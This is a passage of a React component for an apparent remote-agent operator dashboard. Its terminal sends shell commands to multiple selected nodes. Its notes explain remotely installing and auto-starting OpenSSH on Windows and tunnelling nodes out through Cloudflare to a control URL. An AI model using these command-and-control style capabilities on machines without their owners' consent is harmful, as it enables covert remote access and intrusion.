</span>
);
})}
</div>
)}
</div>
</NeonCard>
</div>
{/* ── Terminal ────────────────────────────────────────────────────── */}
<NeonCard accent="green" className="crucible-term-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-term-header">
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
<span className="section-ornament"></span> TERMINAL
<span className="crucible-term-target">
{selectedIds.size === 0
? '— select nodes above —'
: `${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}`
}
</span>
</div>
<button className="crucible-btn-muted" onClick={() => setTermLines([])}>CLEAR</button>
</div>
<div className="crucible-terminal">
{termLines.length === 0 && (
<div className="crucible-term-empty">
Select nodes · type a command · press Enter
</div>
)}
{termLines.map((line) => {
const color = agentColor(line.agentId, allIds);
const dim = line.targeted === false;
return (
<div
key={line.id}
className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''} ${line.richData ? 'rich-line' : ''}`}
style={dim ? { opacity: 0.45 } : undefined}
>
<span className="ctl-agent" style={{ color }}>
{line.agentName.slice(0, 12).padEnd(12)}
</span>
<span className="ctl-arrow" style={{ color }}>
{line.isCmd ? '▶' : '◀'}
</span>
{line.richData ? (
<span className="ctl-text ctl-rich">{renderRichData(line.richData, line.agentName)}</span>
) : (
<span className="ctl-text">{line.text}</span>
)}
<span className="ctl-ts">{line.ts.toLocaleTimeString()}</span>
</div>
);
})}
<div ref={termEndRef} />
</div>
<div className="crucible-term-input-row">
<span className="crucible-prompt font-tech">
[{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$
</span>
<input
ref={cmdRef}
className="crucible-term-input"
value={cmd}
onChange={(e) => setCmd(e.target.value)}
onKeyDown={handleKey}
placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'}
disabled={busy || selectedIds.size === 0}
spellCheck={false}
autoComplete="off"
/>
<button
className={`button crucible-send-btn ${busy ? 'busy' : ''}`}
onClick={sendCmd}
disabled={busy || !cmd.trim() || selectedIds.size === 0}
>
{busy ? '…' : 'SEND'}
</button>
</div>
</NeonCard>
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
<NeonCard accent="brass" className="crucible-ssh-info operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> SSH ACCESS NOTES
</div>
<div className="crucible-ssh-grid">
<div className="crucible-ssh-step">
<span className="css-num">1</span>
<div>
<strong>Probe</strong> click "Probe SSH" to test if port 22 is open on the target machine.
</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">2</span>
<div>
<strong>Wake SSH (Windows)</strong> installs OpenSSH Server via Windows capability, starts the service, marks it auto-start. Requires admin agent.
</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">3</span>
<div>
<strong>Connect directly</strong> if you're on the same LAN, <code className="crucible-code">ssh user@&lt;ip&gt;</code>. Node IP is shown on each card.
</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">4</span>
<div>
<strong>Remote (via tunnel)</strong> — use <code className="crucible-code">Protocol Tunneling</code> or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out through Cloudflare to your control URL.
</div>
</div>
</div>
</NeonCard>
{singleSelectedAgent && (
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap operator-deck-card operator-interactive" tilt3d={false}>
<ProtocolTunnelPanel
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
online={singleSelectedAgent.status === 'online'}
caps={singleSelectedAgent.capabilities}
platform={singleSelectedAgent.platform}
compact
lastTunnelStatusMessage={tunnelStatusMsg}
busy={null}
onDispatch={async (action, args) => {
await api.sendAgentCommand(singleSelectedAgent.id, action, args);
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd: true,
text: `${action}${singleSelectedAgent.name}`,
ts: new Date(),
},
]);
}}
/>
</NeonCard>
)}
<CreateGroupModal
open={showGroupModal}
agentCount={selectedIds.size}
onClose={() => setShowGroupModal(false)}
onCreate={(name, color) => {
addGroup(name, color, [...selectedIds]);
setShowGroupModal(false);
}}
/>
</div>
</div>
</div>
);
}